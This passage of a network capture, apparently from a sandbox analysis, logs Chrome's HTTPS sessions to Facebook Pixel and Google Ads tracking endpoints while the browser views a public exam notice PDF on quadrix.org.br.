"Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:00 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-10 07:21:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49799	157.240.249.35	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1037	OUT	GET /tr/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=107, rtx=0, c=10, mss=1277, tbw=3405, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 10 May 2024 07:21:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49800	157.240.249.35	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:00 UTC	1147	OUT	GET /privacy_sandbox/pixel/register/trigger/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=FGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	1187	IN	HTTP/1.1 302 Found Location: https://www.facebook.com/login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}
2024-05-10 07:21:01 UTC	1859	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-05-10 07:21:01 UTC	1746	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49802	172.217.4.68	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:01 UTC	1809	OUT	GET /pagead/1p-conversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv&is_vtc=1&cid=CAQSKQB7FLtq9lj-dvQYV1Zk09wFkRrgQMbP [TRUNCATED] Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-10 07:21:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49803	142.250.191.228	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:01 UTC	1191	OUT	GET /pagead/1p-user-list/341894994/?random=1715325658478&cv=11&fst=1715324400000&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwB7FLtqOa3VxFTcJB1H7Dtw1_cxIhIczu4LLQ&random=2022932343&rmt_tld=0&ipr=y HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-10 07:21:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49804	157.240.249.35	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:01 UTC	1311	OUT	GET /login/?next=https%3A%2F%2Fwww.facebook.com%2Fprivacy_sandbox%2Fpixel%2Fregister%2Ftrigger%2F%3Fid%3D516356326232506%26ev%3DPageView%26dl%3Dhttps%253A%252F%252Fwww.quadrix.org.br%252Fweb%252Fvisualizar.html%253Ffile%253Dhttps%253A%252F%252Fwww.quadrix.org.br%252FArchives%252FGeneral%252F30728%252F31054%252F31055%252FE041D722C411%252F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf%26rl%26if%3Dfalse%26ts%3D1715325659398%26sw%3D1280%26sh%3D1024%26v%3D2.9.156%26r%3Dstable%26a%3Dtmgoogletagmanager%26ec%3D0%26o%3D4126%26fbp%3Dfb.2.1715325659394.951004112%26cs_est%3Dtrue%26ler%3Dempty%26cdl%3DAPI_unavailable%26it%3D1715325658637%26coo%3Dfalse%26rqm%3DFGET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Attribution-Reporting-Eligible: event-source, trigger;navigation-source Referer: https://www.quadrix.org.br/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	2015	IN	HTTP/1.1 200 OK Pragma: no-cache Cache-Control: private, no-cache, no-store, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net 'unsafe-eval' https://.google-analytics.com .google.com;style-src .fbcdn.net data: .facebook.com 'unsafe-inline' https://fonts.googleapis.com;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com:* wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' http://localhost:3103 wss://gateway.facebook.com wss://edge-chat.facebook.com wss://snaptu-d.facebook.com wss://kaios-d.facebook.com/ v.whatsapp.net .fbsbx.com .fb.com https://.google-analytics.com;font-src data: .facebook.com .fbcdn.net .fbsbx.com https://fonts.gstatic.com;img-src .fbcdn.net .facebook.com data: https://.fbsbx.com facebook.com .cdninstagram.com fbsbx.com fbcdn.net connect.facebook.net .carrie [TRUNCATED] X-Frame-Options: DENY X-Content-Type-Options: nosniff
2024-05-10 07:21:01 UTC	1375	IN	Data Raw: 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 30 0d 0a 72 65 70 6f 72 74 69 6e 67 2d 65 6e 64 70 6f 69 6e 74 73 3a 20 63 6f 6f 70 5f 72 65 70 6f 72 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 2f 63 6f 6f 70 2f 3f 6d 69 6e 69 6d 69 7a 65 3d 30 22 2c 20 63 6f 65 70 5f 72 65 70 6f 72 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 62 72 6f 77 73 65 72 5f 72 65 70 6f 72 74 69 6e 67 2f 63 6f 65 70 2f 3f 6d 69 6e 69 6d 69 7a 65 3d 30 22 2c 20 64 65 66 61 75 6c 74 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 61 6a 61 78 2f 62 72 6f 77 73 65 72 5f 65 72 72 6f 72 5f 72 65 70 6f 72 74 73 2f 3f 64 Data Ascii: X-XSS-Protection: 0reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/browser_error_reports/?d
2024-05-10 07:21:01 UTC	125	IN	Data Raw: 62 61 32 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 69 64 3d 22 66 61 63 65 62 6f 6f 6b 22 20 63 6c 61 73 73 3d 22 6e 6f 5f 6a 73 22 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e Data Ascii: ba27<!DOCTYPE html><html lang="en" id="facebook" class="no_js"><head><meta charset="utf-8" /><meta name="referrer" conten
2024-05-10 07:21:01 UTC	1500	IN	Data Raw: 74 3d 22 6f 72 69 67 69 6e 2d 77 68 65 6e 2d 63 72 6f 73 73 6f 72 69 67 69 6e 22 20 69 64 3d 22 6d 65 74 61 5f 72 65 66 65 72 72 65 72 22 20 2f 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 67 55 6e 41 45 6f 77 6c 22 3e 66 75 6e 63 74 69 6f 6e 20 65 6e 76 46 6c 75 73 68 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 66 6f 72 28 76 61 72 20 63 20 69 6e 20 61 29 62 5b 63 5d 3d 61 5b 63 5d 7d 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 65 4c 61 7a 79 3f 77 69 6e 64 6f 77 2e 72 65 71 75 69 72 65 4c 61 7a 79 28 5b 22 45 6e 76 22 5d 2c 62 29 3a 28 77 69 6e 64 6f 77 2e 45 6e 76 3d 77 69 6e 64 6f 77 2e 45 6e 76 7c 7c 7b 7d 2c 62 28 77 69 6e 64 6f 77 2e 45 6e 76 29 29 7d 65 6e 76 46 6c 75 73 68 28 7b 22 75 73 65 54 72 75 73 74 65 64 54 79 70 65 73 22 3a 66 61 Data Ascii: t="origin-when-crossorigin" id="meta_referrer" /><script nonce="gUnAEowl">function envFlush(a){function b(b){for(var c in a)b[c]=a[c]}window.requireLazy?window.requireLazy(["Env"],b):(window.Env=window.Env\|\|{},b(window.Env))}envFlush({"useTrustedTypes":fa
2024-05-10 07:21:01 UTC	1500	IN	Data Raw: 32 36 63 6f 6f 25 33 44 66 61 6c 73 65 25 32 36 72 71 6d 25 33 44 46 47 45 54 26 61 6d 70 3b 5f 66 62 5f 6e 6f 73 63 72 69 70 74 3d 31 22 20 2f 3e 3c 2f 6e 6f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 6d 61 6e 69 66 65 73 74 22 20 69 64 3d 22 4d 41 4e 49 46 45 53 54 5f 4c 49 4e 4b 22 20 68 72 65 66 3d 22 2f 64 61 74 61 2f 6d 61 6e 69 66 65 73 74 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 20 2f 3e 3c 74 69 74 6c 65 20 69 64 3d 22 70 61 67 65 54 69 74 6c 65 22 3e 46 61 63 65 62 6f 6f 6b 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 62 69 6e 67 62 6f 74 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 61 72 63 68 69 76 65 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 Data Ascii: 26coo%3Dfalse%26rqm%3DFGET&_fb_noscript=1" /></noscript><link rel="manifest" id="MANIFEST_LINK" href="/data/manifest/" crossorigin="use-credentials" /><title id="pageTitle">Facebook</title><meta name="bingbot" content="noarchive" /><link rel="canonica

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49805	142.250.191.228	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:01 UTC	1571	OUT	GET /pagead/1p-conversion/341894994/?random=934074899&cv=11&fst=1715325658495&bg=ffffff&guid=ON&async=1&gtm=45be4580z8848306929za201&gcd=13l3l3l3l1&dma=0&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&label=7TlxCO2f-4QDENLOg6MB&hn=www.googleadservices.com&frm=0&tiba=PDF.js%20viewer&value=0&npa=0&pscdl=noapi&auid=678302047.1715325657&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&sscte=1&crd=CJW3sQIIscGxAgiwwbECCLnBsQIIl8GxAiIBAUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=COKBxOjC1P3u1QEiEwjhwJ-FxoKGAxWX3RgCHeYEDL8yAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzobaHR0cHM6Ly93d3cucXVhZHJpeC5vcmcuYnIv&is_vtc=1&cid=CAQSKQB7FLtq9lj-dvQYV1Zk09wFkRrgQMbP [TRUNCATED] Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:01 UTC	602	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Fri, 10 May 2024 07:21:01 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif Content-Security-Policy: script-src 'none'; object-src 'none' X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-10 07:21:01 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49806	157.240.249.35	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:01 UTC	799	OUT	GET /tr/?id=516356326232506&ev=PageView&dl=https%3A%2F%2Fwww.quadrix.org.br%2Fweb%2Fvisualizar.html%3Ffile%3Dhttps%3A%2F%2Fwww.quadrix.org.br%2FArchives%2FGeneral%2F30728%2F31054%2F31055%2FE041D722C411%2F1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf&rl=&if=false&ts=1715325659398&sw=1280&sh=1024&v=2.9.156&r=stable&a=tmgoogletagmanager&ec=0&o=4126&fbp=fb.2.1715325659394.951004112&cs_est=true&ler=empty&cdl=API_unavailable&it=1715325658637&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-10 07:21:02 UTC	465	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=108, rtx=0, c=10, mss=1277, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 10 May 2024 07:21:01 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49809	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
